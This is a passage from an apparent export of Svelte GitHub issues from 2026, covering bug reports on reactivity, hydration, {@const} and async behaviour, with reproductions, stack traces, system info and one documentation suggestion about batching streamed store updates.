    at run_all (runtime-daVIWO85.js?v=3d3391a3:39:45)
    at run_micro_tasks (runtime-daVIWO85.js?v=3d3391a3:1139:2)
    at runtime-daVIWO85.js?v=3d3391a3:1148:31
```

### System Info... [TRUNCATED]",,2026-04-20T13:44:03Z,2026-04-29T18:57:12Z,2
sveltejs/svelte,4288334521,{#if} content remains visible when condition is false (regression since 5.41.3),"### Describe the bug

When a {#if} condition and a component inside the block depend on the same shared state, and the component mutates that state during render, the {#if} condition no longer reacts to subsequent state changes.

This issue does not occur in version 5.41.2, but was introduced in [5.41.3](https://github.com/sveltejs/svelte/releases/tag/svelte%405.41.3).

### Reproduction

https://svelte.dev/playground/595ee23e99db4a9489d88f5d800abaad?version=5.55.4

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 11 10.0.26200
    CPU: (16) x64 12th Gen Intel(R) Core(TM) i5-12500H
    Memory: 25.37 GB / 63.71 GB
  Binaries:
    Node: 20.19.5 - C:\Program Files\nodejs\node.EXE
    npm: 11.12.1 - C:\Program Files\nodejs\npm.CMD
  Browsers:
    Chrome: 147.0.7727.56
    Edge: Chromium (141.0.3537.71)
    Firefox: 149.0.2 - C:\Program Files\Mozilla Firefox\firefox.exe
  npmPackages:
    svelte: 5.55.4 => 5.55.4
```

### Severity

blocking an upgrade",,2026-04-18T14:49:46Z,2026-04-20T14:35:11Z,0
sveltejs/svelte,4276505144,"{@const} referencing let: slot prop causes ""Cannot access '...' before initialization"" (regression of #16585)","### Describe the bug

{@const} inside a slot consumer that references a let: slot prop causes a runtime `ReferenceError: Cannot access '<name>' before initialization` (temporal dead zone). The issue reproduces on 5.55.1, so the fix from #16585 does not cover this variant.

The original issue (#16585) was reproduced with let:index used directly in a {@const} expression ({@const item = list[index]}). This variant fails when {@const} creates an object shorthand that captures the slot prop: {@const props = { row }} where row comes from let:row.

### Reproduction

```
<!-- Parent.svelte -->
<script>
  export let data = [{ id: 1, label: 'A' }, { id: 2, label: 'B' }]
</script>

{#each data as row}
  <slot name=""row"" {row}></slot>
{/each}

<!-- Consumer.svelte -->
<Parent>
  <tr slot=""row"" let:row>
    {@const props = { row, onClick: () => console.log(row) }}
    <td>{props.row.label}</td>
  </tr>
</Parent>
```

Runtime error:

`ReferenceError: Cannot access 'row' before initialization`

[REPL](https://svelte.dev/playground/hello-world?version=5.55.4#H4sIAAAAAAAAE6VSQU7DMBD8ymo5pJWiRHA0TkSBB3DgRNODm7jFwrUte0uKrPwdOWkpRXDiZs_seHdmHdGInUSGQVsCLYl528Nda00geH58gfV-izlulJYB2TIifbhUngDMT-KFc0V4l5oSthZB_oa31pA0FJAhn0BmHSlrAvi9kaGKG6GDHKCsG9MYHlqvHKUzqZ2znuBJeGkINt7uICvK6XpskN02hpdnjeETPeo5eUgGqwa97Rs8GR3JhuLRr_PWBagggrd9DtY8aNW-MZjNoaoh1VgtC223M2_7OQzDJOfU1XHUFt72hRZrqQdeUjf1LsnXabbjPJgjyQMhI7-XQ_5HohfeLkP9Sf0jV3kYc9WSoBMkoILlMRFQHYPrHEYzDLJFBkP-nbs5c_cnbvVzB_FKivZ1eluElOoYGR8_W7LztZCYuJqXi... [TRUNCATED]",,2026-04-16T14:45:55Z,2026-05-22T09:10:40Z,0
sveltejs/svelte,4253016862,Runtime error if you don't pay attention with #each,"I created this issue because I think something is wrong with these very frequent use cases in Svelte 5.

### Reproduction steps:

- open [the reproduction](https://svelte.dev/playground/3aee961300a44e11b4f9fd0de69407d6?version=5.55.3)

- open the console log

- add some players with the button

- delete one of them

- SPLASH the errors!

The only way to fix this is to use:

```ts
const isOk = $derived(player?.name === ""Bob"");
```

instead of this:

```ts
const isOk = $derived(player.name === ""Bob"");
```

But even typescript does not warn me about this. Why?

Is this the idiomatic way to do this?

Screen:

<img width=""445"" height=""665"" alt=""Image"" src=""https://github.com/user-attachments/assets/8c8e383f-6275-4855-983c-991a5624a53c"" />",,2026-04-13T09:10:00Z,2026-04-13T09:16:09Z,0
sveltejs/svelte,4245489113,[5.55.3] `derived_inert` warnings,"### Describe the bug

I got a bunch of this warning when updated Svelte to 5.55.3. This is caused by some weird interactions between a couple of `shadcn-svelte`, `bits-ui`, `svelte-sonner` components and `page.url`. Created a reproduction as requested by @dummdidumm.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-k5x5sbng?file=src%2Froutes%2F%2Bpage.svelte,src%2Froutes%2FChild.svelte,src%2Froutes%2F%2Blayout.svelte

### Logs

```shell
[svelte] derived_inert Reading a derived belonging to a now-destroyed effect may result in stale values
```

### System Info

```shell
svelte@5.55.3
kit@2.57.1
```

### Severity

annoyance",,2026-04-11T18:34:48Z,2026-05-06T20:37:47Z,10
sveltejs/svelte,4244302481,$effect.pending() with $state.eager broken,"### Describe the bug

no way to have data outside a svelte:boundary not be effected by await's going on inside a svelte:boundary if they depend on the same data

with the old #await nothing outside of the await is effected by the awaiting data

### Reproduction

https://svelte.dev/playground/248ef74f986e417ab633d1969e9a5abb?version=latest

if you comment out the `{@const tmp = await delayed(valu)}` line then it works as expected

with just the new async there is no way to get what i want to happen to happen
https://svelte.dev/playground/47a270e533f14c0cb0e95d60f2cbaa8b?version=latest

### Logs

```shell

```

### System Info

```shell
the svelte.dev playground
```

### Severity

annoyance",,2026-04-11T11:01:51Z,2026-05-15T20:30:35Z,10
sveltejs/svelte,4242282698,Docs: rAF batching pattern for SSE/WebSocket → reactive stores (prevents UI hang),"## Summary

When SSE or WebSocket streams feed data into a Svelte store, updating the store on every incoming chunk causes UI hangs — sometimes complete freeze in embedded webviews (Tauri, Electron, Wails). This is a common, non-obvious pitfall for anyone building AI chat UIs, real-time dashboards, or streaming data apps with Svelte.

The fix is a short `requestAnimationFrame` batching pattern, but it is not documented anywhere in the Svelte docs or cookbook.

## The Problem

A naive SSE consumer:
\`\`\`typescript
source.onmessage = (e) => {
    myStore.update(s => s + e.data); // fires 50-100x per response
};
\`\`\`

Each update triggers `$:` reactive blocks, `afterUpdate` callbacks, and any subscribers. At 50-100 chunks/response, this floods the microtask queue and blocks the main thread.

## The Fix — requestAnimationFrame Batching

\`\`\`typescript
let buffer = '';
let rafHandle: number | null = null;

source.onmessage = (e) => {
    buffer += e.data;
    if (!rafHandle) {
        rafHandle = requestAnimationFrame(() => {
            myStore.update(s => s + buffer); // one store write per frame
            buffer = '';
            rafHandle = null;
        });
    }
};
\`\`\`

**Effect:** Reduces store update frequency from 50-100x to 3-5x per response (one per animation frame). UI stays responsive at any stream speed.

## Alternative: component-local buffer

For maximum control, keep the buffer in a local variable and only push to the store on completion:
\`\`\`typescrip... [TRUNCATED]",,2026-04-11T00:07:52Z,2026-04-11T08:19:11Z,1
sveltejs/svelte,4245534467,[2.57.1] Error when reading a `page.url` derived in @const,"### Describe the bug

This bug happens when a derived variable from `page.url` (e.g. `searchParams`) is created after any `$derived(await...)`, then reading it in a `@const`. 

### Reproduction

```html
<script lang=""ts"">
	import { page } from '$app/state';
	async function whatever() {
		return 1;
	}
	const foo = $derived(await whatever());
	//This must be created after any $derived(await...). It doesn't error if the order is reversed.
	const bar = $derived(page.url);
</script>

{#if true}
	{@const bug = bar}
{/if}
```
https://stackblitz.com/edit/pagebug-o9ztqzsk?file=src%2Froutes%2F%2Bpage.svelte

### Logs

```Shell
Error: Can only read 'page.url' on the server during rendering (not in e.g. `load` functions), as it is bound to the current request via component context. This prevents state from leaking between users. For more information, see https://svelte.dev/docs/kit/state-management#avoid-shared-state-on-the-server
```

### System Info

```Shell
N/A
```

### Severity

serious, but I can work around it

### Additional Information

_No response_",,2026-04-10T18:13:15Z,2026-04-13T18:09:28Z,0
sveltejs/svelte,4238971864,Hashing styles with filename creates style leaks,"### Describe the bug

Our team is separating monolith svelte app on several microfrontends, some of them have same components, which were copypasted from parent app, but with different logic inside and all of them have same name. Recently noticed, that some of our apps have style leaks, which are caused by hashing selectors by filename.

### Reproduction

You can create two components with same selectors and same filenames, but different styling, and bug will be reproduced

### Logs

```shell

```

### System Info

```shell
-
```

### Severity

annoyance",,2026-04-10T11:55:02Z,2026-05-02T01:07:05Z,2
sveltejs/svelte,4207978664,Batch has scheduled roots,"### Describe the bug

I got the following message and I'm following the instructions, no idea what really went wrong. The site is otherwise working fine.
```
An invariant violation occurred, meaning Svelte's internal assumptions were flawed. This is a bug in Svelte, not your app — please open an issue at https://github.com/sveltejs/svelte, citing the following message: ""Batch has scheduled roots""
https://svelte.dev/e/invariant_violation
```

### Reproduction

Frankly I don't really know what happened. This happened when I opened the /sandbox page in this repo: https://github.com/lipu-linku/lipu/tree/remote

### Logs

```shell
This was logged right before in the browser console:

[svelte] await_reactivity_loss
Detected reactivity loss when reading `Query.#current`. This happens when state is read in an async function after an earlier `await`
https://svelte.dev/e/await_reactivity_loss <anonymous code>:1:147461
traced at: 
    result query.svelte.js:214
```

### System Info

```shell
System:
    OS: Linux 6.19 Fedora Linux 43 (Workstation Edition)
    CPU: (16) x64 13th Gen Intel(R) Core(TM) i7-13620H
    Memory: 16.05 GB / 31.04 GB
    Container: Yes
    Shell: 5.9 - /usr/bin/zsh
  Binaries:
    Node: 22.20.0 - /home/theonlytails/.vite-plus/js_runtime/node/22.20.0/bin/node
    npm: 10.9.3 - /home/theonlytails/.vite-plus/js_runtime/node/22.20.0/bin/npm
    pnpm: 10.30.3 - /home/theonlytails/.local/share/pnpm/pnpm
    bun: 1.3.11 - /home/theonlytails/.bun/bin/bun
    Deno: 2.7.11... [TRUNCATED]",,2026-04-05T16:05:48Z,2026-05-20T10:21:20Z,4
sveltejs/svelte,4201943704,async failure inside fork escapes fork,"### Describe the bug

If you run async work inside a fork, and it fails, the error propagates and is visible even outside the fork

### Reproduction

[Reproduction](https://svelte.dev/playground/hello-world?version=5.55.1#H4sIAAAAAAAACo2Qy07EMAxFfyXyILWVqpl9p1OJHUv2lEXauMKQR5V4KKMq_47SDA8hkNhdO_fYzl3BSoPQwB1q7cTivFaiREWMqoIaJtIYoHlYgS9z8qUG1B_U7TzvwytqTr1BBvytPzrLaDlAA20YPc3c9bZnMrPzLFYxOf8iopi8M6LIVHFMDo0swpNbxEncBJaM5SR1wOrzcTr2tj18zbTtcGZ2Vjg7ahpfTmtZiVO3bSizvM5jf8YqdqlqDxnq_sb3ozOGuKxil9V_GEVhlF4l6Cq_Ub1t80-bwZ2tkv6yZbLuaNpOjKnqeZWLJBb33hkKuPf4jCOXxeCcKarNsx5oymIXLM1zSkWSxrQ3z8hl9l4tcYvtx36ogfGNoUnZxMcaWJJeyCpottjjO0OobU4sAgAA)

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

blocking an upgrade",,2026-04-03T19:39:53Z,2026-04-08T16:58:00Z,0
sveltejs/svelte,4199347389,`onintrostart` dispatches with `animate:` animation,"### Describe the bug

The `onintrostart` event fires when an element begins an animation specified with `animate:`.

This bug was introduced by #17567.

The best solution appears to be moving back the `dispatchEvent()` calls in `packages/svelte/src/internal/client/dom/elements/transitions.js` to the `transition()` function. Otherwise, we would probably need to add a parameter to `animate()`, indicating whether it was called by `transition()`, which may be a little dirty.

*Maybe*, we could add an `on_begin` callback parameter to `animate()`, which is how `dispatchEvent()` could be triggered to not break the fix of #14009. I can create a PR for this in case you like the solution :D

### Reproduction

https://svelte.dev/playground/1b1bf2a52c2448a09917378711735c3d?version=5.55.1

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.17 Ubuntu 25.10 25.10 (Questing Quokka)
    CPU: (6) x64 AMD Ryzen 5 4500U with Radeon Graphics
    Memory: 1008.57 MB / 6.67 GB
    Container: Yes
    Shell: 5.9 - /usr/bin/zsh
  Binaries:
    Node: 22.21.1 - /home/dabund24/.nvm/versions/node/v22.21.1/bin/node
    npm: 10.9.4 - /home/dabund24/.nvm/versions/node/v22.21.1/bin/npm
  Browsers:
    Firefox: 149.0
    Firefox Developer Edition: 149.0
  npmPackages:
    svelte: ^5.55.0 => 5.55.1
```

### Severity

blocking an upgrade",,2026-04-03T08:56:42Z,2026-04-20T12:18:58Z,0
sveltejs/svelte,4158890824,Async Svelte crash in certain situations when destructuring awaited derived value in a @const,"### Describe the bug

This seems to happen when you have:

First, an awaited query, and a derived expression from that query
```typescript
import { getIt } from './query.remote.ts';
let d = $derived(await getIt());
// For some reason this additional derived is required to reproduce
let showFetchCta = $derived(d.hasData)
```

In the template, a `@const` statement that destructures the awaited value.

```svelte
{#if d}
	{@const {data, hasData} = d}

	{#if hasData}
		<p>The Data: {data}</p>
	{:else if showFetchCta} <!-- reference the derived so it doesn't get thrown away -->
		<p>Fetch now</p>
	{:else}
		<p>No data</p>
	{/if}
{/if}
```

Causes the error
```
 TypeError: Cannot read properties of undefined (reading 'f')
```

In Module.get where it reads `signal.f` (`signal` is apparently still undefined).

If you remove the `@const` destructuring and just reference the values as `d.data` and so on, then it works fine.


### Reproduction

https://www.sveltelab.dev/38gut2mu4bw9p4d

Note you might have to run with the inspector open to really see the crash. Otherwise it's not totally obvious all the time.

### Logs

```shell
Uncaught (in promise) TypeError: Cannot read properties of undefined (reading 'f')

	in <unknown>
	in +page.svelte
	in +layout.svelte
	in root.svelte
	in undefined

    at Module.get (chunk-O3RU4Q5E.js?v=4ba18bce:4157:23)
    at +page.svelte?t=1774689309840:99:13
    at chunk-GMPPHB2E.js?v=4ba18bce:798:5
    at update_reaction (chunk-O3RU4Q5E.js?v=4ba18bce:3983:1... [TRUNCATED]",,2026-03-28T09:22:42Z,2026-04-09T18:21:48Z,1
sveltejs/svelte,4158202701,Improve warning for reassigning states used by context,"### Describe the problem

Regarding [using context with state](https://svelte.dev/docs/svelte/context#Using-context-with-state) docs, the compiler does give a warning, but it is not intuitive:

> note that if you _reassign_ `counter` instead of updating it, you will 'break the link

> Svelte will warn you if you get it wrong.

```svelte
<script>
  import Child from './Child.svelte';
  import { setCounter } from './context.ts';

  let counter = $state({ count: 0 });

  // This reference only captures the initial value of `counter`. Did you mean to reference it inside a closure instead?
  // https://svelte.dev/e/state_referenced_locally
  setCounter(counter);
</script>

<button onclick={() => (counter = { count: (counter.count += 1) })}>
  increment
</button>

<Child />
```

I learned this the hard way by checking that `$state.raw` and `$derived` do not work with the context API.

### Describe the proposed solution

If possible, provide a better warning message.

### Importance

nice to have",documentation,2026-03-28T06:59:01Z,2026-05-18T19:42:22Z,3
sveltejs/svelte,4151826625,docs: mention that `#snippet` is hoisted,"### Describe the problem

Following code block works, but is not [documented](https://svelte.dev/docs/svelte/snippet).

```svelte
<script>
  let { message = `it's great to see you!` } = $props();
</script>

{#snippet hello(name)}
  <p>hello {name}! {message}!</p>
{/snippet}

{@render hello('alice')}
{@render hello('bob')}
```

### Describe the proposed solution

Mention `#snippet` hoisting since it can greatly help code organization.

This is my usage:

```svelte
<script>
  const student = getStudentContext(); // returns Student | null
</script>

{#if student}
  {@render card()}
  {@render card()}
  {#snippet card()}
    <!-- very long snippet that relies on truthy student -->
  {/snippet}
{/if}
```

### Importance

nice to have",,2026-03-27T11:38:16Z,2026-04-01T09:21:55Z,3
sveltejs/svelte,4141231097,Failure to strip generics' brackets leads to Unexpected token errors,"### Describe the bug

If a component contains typescript like:

```svelte
<script lang=""ts"">
class X extends Y<{ example: true }> { 
   ...
}
</script>
```

the angle brackets (`<>`) will not be removed, resulting in unexpected token errors.

This used to work in ~2 month old projects, but a fresh setup this week now has the issue.

### Reproduction

https://github.com/pmalacho-mit/svelte-parser-error/tree/main

I also added a working branch, that does not have the error: https://github.com/pmalacho-mit/svelte-parser-error/tree/working

diff: https://github.com/pmalacho-mit/svelte-parser-error/pull/1

Interestingly, I had to fully copy over the package-lock file of a working project -- pinning the exact versions of packages in my package.json was NOT enough.

### Logs

```shell

```

### System Info

```shell
devcontainer (running app):

 System:
    OS: Linux 6.12 Ubuntu 24.04.3 LTS 24.04.3 LTS (Noble Numbat)
    CPU: (10) arm64 unknown
    Memory: 664.69 MB / 7.65 GB
    Container: Yes
    Shell: 5.2.21 - /bin/bash
  Binaries:
    Node: 20.20.1 - /usr/local/share/nvm/versions/node/v20.20.1/bin/node
    Yarn: 1.22.22 - /usr/local/share/nvm/versions/node/v20.20.1/bin/yarn
    npm: 10.8.2 - /usr/local/share/nvm/versions/node/v20.20.1/bin/npm
    pnpm: 10.32.1 - /usr/local/share/nvm/versions/node/v20.20.1/bin/pnpm
  npmPackages:
    svelte: 5.46.0 => 5.46.0 

system (running browser to view app):

  System:
    OS: macOS 14.5
    CPU: (10) arm64 Apple M1 Max
    Memory: 416.09 ... [TRUNCATED]",,2026-03-26T07:01:13Z,2026-03-28T16:30:50Z,2
sveltejs/svelte,4131448740,Detached DOM nodes accumulate when using `{#key}` with `bind:this` and exported functions,"### Describe the bug

When a `{#key}` block destroys and recreates a component tree, DOM nodes from the destroyed tree are not garbage collected. This happens when a parent uses `bind:this` on a child component that exports functions, and those functions reference DOM elements (e.g., via `bind:this` on an element). Each time the key changes, the old component tree's DOM nodes remain in memory and accumulate indefinitely.

### Reproduction

Three files:

**`+page.svelte`**
```svelte
<script>
  import Parent from './Parent.svelte'
  let currentId = $state(1)
</script>

<button onclick={() => currentId = currentId === 1 ? 2 : 1}>
  Switch (current: {currentId})
</button>

{#key currentId}
  <Parent id={currentId} />
{/key}
```

**`Parent.svelte`**
```svelte
<script>
  import Child from './Child.svelte'
  let { id } = $props()
  let child = $state(null)

  function callChild() {
    child?.doSomething()
  }
</script>

<button onclick={callChild}>Call child</button>
<Child bind:this={child} {id} />
```

**`Child.svelte`**
```svelte
<script>
  let { id } = $props()
  let element

  export function doSomething() {
    element?.focus()
  }
</script>

<div bind:this={element}>
  <p>Child {id}</p>
  <!-- Add more DOM to make the leak more visible -->
  {#each Array(20) as _, i}
    <div>Item {i}</div>
  {/each}
</div>
```

1. Open the page
2. Click ""Switch"" 10+ times
3. Take a heap snapshot in DevTools → Memory
4. Filter for ""Detached"" — old `<div>` elements from previous renders accum... [TRUNCATED]",,2026-03-25T00:01:25Z,2026-03-25T01:03:49Z,0
sveltejs/svelte,4130430485,"ERROR in node:async_hooks Module build failed: UnhandledSchemeError: Reading from ""node:async_hooks"" is not handled by plugins (Unhandled scheme).","### Describe the bug

I am using Svelte in a local development environment for a WordPress site.

On dev and build commands using Webpack 5 and Svelte 5, this error appears, and the build fails:
```
ERROR in node:async_hooks
Module build failed: UnhandledSchemeError: Reading from ""node:async_hooks"" is not handled by plugins (Unhandled scheme).
Webpack supports ""data:"" and ""file:"" URIs by default.
You may need an additional plugin to handle ""node:"" URIs.
    at C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\webpack\lib\NormalModule.js:1064:13
    at Hook.eval [as callAsync] (eval at create (C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\tapable\lib\HookCodeFactory.js:31:10), <anonymous>:6:1)
    at Hook.CALL_ASYNC_DELEGATE [as _callAsync] (C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\tapable\lib\Hook.js:21:14)
    at C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\webpack\lib\NormalModule.js:1058:10
    at new Promise (<anonymous>)
    at readResource (C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\webpack\lib\NormalModule.js:1055:14)
    at Object.processResource (C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\webpack\lib\NormalModule.js:1077:28)
    at processResource (C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\loader-runner\lib\LoaderRunner.js:273:11)
    at iteratePitchingLoaders (C... [TRUNCATED]",,2026-03-24T20:21:49Z,2026-03-24T21:11:38Z,4
sveltejs/svelte,4130403914,WARNING in ./node_modules/svelte/src/internal/server/crypto.js 8:43-81 Critical dependency: the request of a dependency is an expression,"### Describe the bug

I am using Svelte in a local development environment for a WordPress site.

On dev and build commands using Webpack 5 and Svelte 5, this warning appears:
```
WARNING in ./node_modules/svelte/src/internal/server/crypto.js 8:43-81
Critical dependency: the request of a dependency is an expression
    at ImportContextDependency.getWarnings (C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\webpack\lib\dependencies\ContextDependency.js:121:18)
    at Compilation.reportDependencyErrorsAndWarnings (C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\webpack\lib\Compilation.js:3558:24)
    at C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\webpack\lib\Compilation.js:3121:28
    at eval (eval at create (C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\tapable\lib\HookCodeFactory.js:31:10), <anonymous>:29:1)
    at C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\webpack\lib\FlagDependencyExportsPlugin.js:411:10
    at C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\neo-async\async.js:2830:7
    at Object.each (C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\neo-async\async.js:2850:39)
    at C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\webpack\lib\FlagDependencyExportsPlugin.js:381:17
    at C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules... [TRUNCATED]",,2026-03-24T20:17:04Z,2026-03-24T21:11:49Z,1
sveltejs/svelte,4130207310,SvelteMap.clear() skips its reactive signal when the map's size is already 0,"### Describe the bug

SvelteMap.clear() skips its reactive signal when the map's size is already 0. This means any $derived or $effect that depends on the map will not re-run, leaving reactive state stale.

This becomes a silent data bug when combined with a non-$state variable that changes in the same batch - there is no other signal to compensate, so the derived is never invalidated.

Expected: map.clear() always emits a reactive signal, regardless of current size — consistent with how $state assignments emit signals even when the new value equals the old one.

Actual: When map.size === 0, clear() is a no-op in the reactive sense. Any $derived/$effect depending on the map is not re-run.

Svelte version: 5.55.0

Note, it doesn't crash and is easy to work around (make the companion variable $state, or add a dummy set+delete after clear()). However, it violates the principle of least surprise — calling .clear() should always be observable to the reactive graph, just as calling $state's setter with the same value still notifies dependents.

### Reproduction

https://svelte.dev/playground/2cde556a6607400a808dea52f0f3953d?version=5.55.0

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.3.1
    CPU: (8) arm64 Apple M3
    Memory: 1.35 GB / 24.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.18.0 - /usr/local/bin/node
    Yarn: 1.22.22 - /opt/homebrew/bin/yarn
    npm: 11.6.2 - /usr/local/bin/npm
    pnpm: 10.32.1 - /opt/homebrew/bin/pnpm
    bun:... [TRUNCATED]",,2026-03-24T19:35:34Z,2026-03-24T20:32:35Z,7
sveltejs/svelte,4126629214,It seems that Svelte mount() doesn't work with $bindable() props (demo inside),"### Describe the bug

It seems like Svelte reactivity doesn't work with mount(). When I construct a component with mount(), and use `props` to set a $state() variable, updating the state variable from within the parent component doesn't change the bound property within the child component. I have provided a reproduction below.

Maybe I am also doing something wrong, that could be, but I don't know what. Maybe somebody can help me learn in that case?

### Reproduction

https://svelte.dev/playground/33b7b3a72497418cbe72ad6032f55d84

When the button is clicked, I expect the child component's `test` property to change to `true`.

### Logs

```shell

```

### System Info

```shell
OS: Linux 6.18 Debian GNU/Linux 13 (trixie) 13 (trixie)
    CPU: (16) x64 AMD Ryzen 7 PRO 8840U w/ Radeon 780M Graphics
    Memory: 19.39 GB / 30.01 GB
    Container: Yes
    Shell: 4.0.2 - /usr/bin/fish
```

### Severity

This is a roadblock I have encountered within a Svelte project, I can workaround but it's really not pretty. I would love to learn how to solve this.",,2026-03-24T09:59:32Z,2026-03-24T10:19:33Z,2
sveltejs/svelte,4123414895,`{@html await ...}` fails to hydrate,"### Describe the bug

Hi!

This code `<div>{@html await ""<hr />""}</div>` will produce the following error logs:

```
[svelte] hydration_mismatch
Hydration failed because the initial UI does not match what was rendered on the server
https://svelte.dev/e/hydration_mismatch

[svelte] hydration_html_changed
The value of an `{@html ...}` block near src/​routes/​+page.svelte:1:0 changed between server and client renders. The client value will be ignored in favour of the server value
https://svelte.dev/e/hydration_html_changed
```

Probably related to #17981 but no exception in this case

### Reproduction

Reproduced here: https://www.sveltelab.dev/z2v4jxay455g357

### Logs

```shell

```

### System Info

```shell
Svelte 5.55.0
```

### Severity

annoyance",,2026-03-23T20:08:48Z,2026-03-24T15:46:38Z,2
sveltejs/svelte,4121958222,`{@const}` inside `{#each}` goes stale when prop-derived value is only consumed inside an array callback,"### Describe the bug

A `{@const}` inside `{#each}` does not invalidate when its reactive dependency
arrives via a **prop** and that dependency is only referenced inside an array
callback (`.find()`, `.filter()`, `.some()`, etc.) rather than in the outer
expression.

From the template's perspective the prop changed, a sibling `{@const}` that
reads the prop directly updates correctly, but the `{@const}` whose expression
only touches the prop inside a callback closure stays frozen at its previous
value.

## Required conditions

Both must be present:

1. The reactive dependency is a **prop** — does not reproduce when the same
   value is a local variable or a store.
2. That prop value appears **only inside the callback** of the array method —
   removing it from inside and placing it in the outer expression fixes the
   staleness.

No transition, no `{#if}` toggle, no async wrapper needed.


### Reproduction

Link to REPL
https://svelte.dev/playground/9e909f44f22a406a80a639c6ecd69496?version=latest

The playground shows both the buggy and the fixed pattern side by side, driven
by the same prop. Click any button — `selectedItemId` updates correctly in both
sections, but only the **Fixed** section reflects the change in the derived
`selectedItem`.

## Expected behavior

Clicking any button updates `selectedItemId`. Both sections should then resolve
`selectedItem` and show the correct seat count.

## Actual behavior

`selectedItemId` updates in both sections. The **Bug** section ne... [TRUNCATED]",,2026-03-23T16:00:56Z,2026-04-01T08:36:28Z,1
sveltejs/svelte,4118988706,Svelte error: component_api_changed Calling `$destroy()` on a component instance,"### Describe the bug

Uncaught (in promise) Svelte error: component_api_changed
Calling `$destroy()` on a component instance (of src/lib/ui/Player.svelte) is no longer valid in Svelte 5
https://svelte.dev/e/component_api_changed
    at component_api_changed (errors.js:85:17)
    at error (legacy.js:17:5)
    at Object.$destroy (legacy.js:21:19)
    at Svelte4Component.$destroy (legacy-client.js:179:18)
    at custom-element.js:206:15


<img width=""1700"" height=""1072"" alt=""Image"" src=""https://github.com/user-attachments/assets/aaf3ed19-04a8-479f-8638-289c81b171bf"" />

<img width=""1540"" height=""500"" alt=""Image"" src=""https://github.com/user-attachments/assets/b3054ca3-eb9e-4ba7-a7b4-058bfe1b60ab"" />

### Reproduction

```svelte
<svelte:options
  runes={true}
  customElement={{
    tag: 's-player',
    props: {
      config: {type: 'Object'}
    }
  }}
/>
```



### Logs

```shell

```

### System Info

```shell
svelte@5.54.1
```

### Severity

annoyance",,2026-03-23T07:59:37Z,2026-03-31T16:47:55Z,1
sveltejs/svelte,4113374919,goto navigation still shows old page when new page has new layout since 5.53.13,"### Describe the bug

I updated my svelte project to 5.54.1 and encounterend an bug where, when I navigate by using `goto`, my old page is still shown above the page I navigated to. When I reload the page, it only shows the page I navigated to as expected.

I was able to pin down the behavior change to version ` 5.53.13` . With ` 5.53.12` it still works as expected.
While creating the reproductive example I learned that the bug only appears if the new page I navigate to has a new layout.

One possible workaround is to wrap the ` @render children`  in the root layout with ` {#key page.url.pathname}` 

### Reproduction

I used the svelte cli tool to create a new repo, updated the svelte version to the latest available and created a page structure with a root layout, a simple page navigating to an other page which has a new layout definition. You can find this reproduction repo here: https://github.com/Nicklas2751/svelte-goto-navigation-bug

The original repo where I first encountered this bug is open source too, you can find it here: https://github.com/Nicklas2751/LibreHousehold

### Logs

```shell
Browser log:
` ` ` 
[vite] connecting...
client:827 [vite] connected.
+page.svelte:6 Checking stuff..
` ` ` 

Svelte dev log:
` ` ` 
    ~/git/svelte-goto-navigation-bug    main  npm run dev                                                                                                                                                                                             ... [TRUNCATED]",,2026-03-21T18:49:09Z,2026-03-23T00:46:38Z,3
sveltejs/svelte,4112783715,Failed to hydrate:  TypeError: Cannot read properties of null (reading 'nodeType'),"### Describe the bug

Hi!

I'm not sure if this issue is the same as #17894, I left a comment there but I don't think it's the same thing so I decided to create this issue to give a better description of my problem.

Here is an overview on how to reproduce what what errors I get:
I have these 2 simple remote functions
```js
import { query } from ""$app/server"";

export const firstTest = query(async () => {
  return ""123"";
});

export const otherTest = query(async () => {
  return ""1"";
});
```
If I use them like this
```svelte
<script>
  import { otherTest, firstTest } from ""$lib/foo.remote"";
</script>

<div>
  <div>{@html await firstTest()}</div>

  {await otherTest()}
</div>
```
I get this error
```
Failed to hydrate:  TypeError: Cannot read properties of null (reading 'nodeType')

	in <unknown>
	in +layout.svelte
	in root.svelte
	in undefined
```
If instead I change the markup to this (removing the outer div):
```svelte
<div>{@html await firstTest()}</div>

{await otherTest()}
```
I get these errors:
```
[svelte] hydration_mismatchHydration failed because the initial UI does not match what was rendered on the serverhttps://svelte.dev/e/hydration_mismatch

[svelte] hydration_html_changedThe value of an `{@html ...}` block near src/​routes/​+page.svelte:5:0 changed between server and client renders. The client value will be ignored in favour of the server valuehttps://svelte.dev/e/hydration_html_changed
```
and If I remove all divs:
```svelte
{@html await firstTest()}

{await ... [TRUNCATED]",,2026-03-21T15:00:31Z,2026-03-25T08:27:48Z,1
sveltejs/svelte,4110077664,Components do not update when state updates,"### Describe the bug

I'm trying to make `i18next` reactive and cause string update throughout my app but I just CAN'T get that fucking thing to work. What am I doing wrong?

So` i18next` has `init` method which is only run once and returns `t` method that returns a requested string. And then the language can be changed with `changeLanguage` on the `i18next` class.

_Why not use paraglide?_
No I'm not installing paraglide it's buggy as hell.

### Reproduction

Now, assume these shenanigans are happening in `index.svelte.ts`.  My code is something like:
```ts
const getKey = await i18next
    .init({
...
    });
export let getKeyState = $state({
    t: getKey
});

export const setLocale = async (locale) => {
    await i18next.changeLanguage(locale);
// trying to force an update
    getKeyState.t = getKey;
}
```

In a component I could have something like:
```svelte
<script>
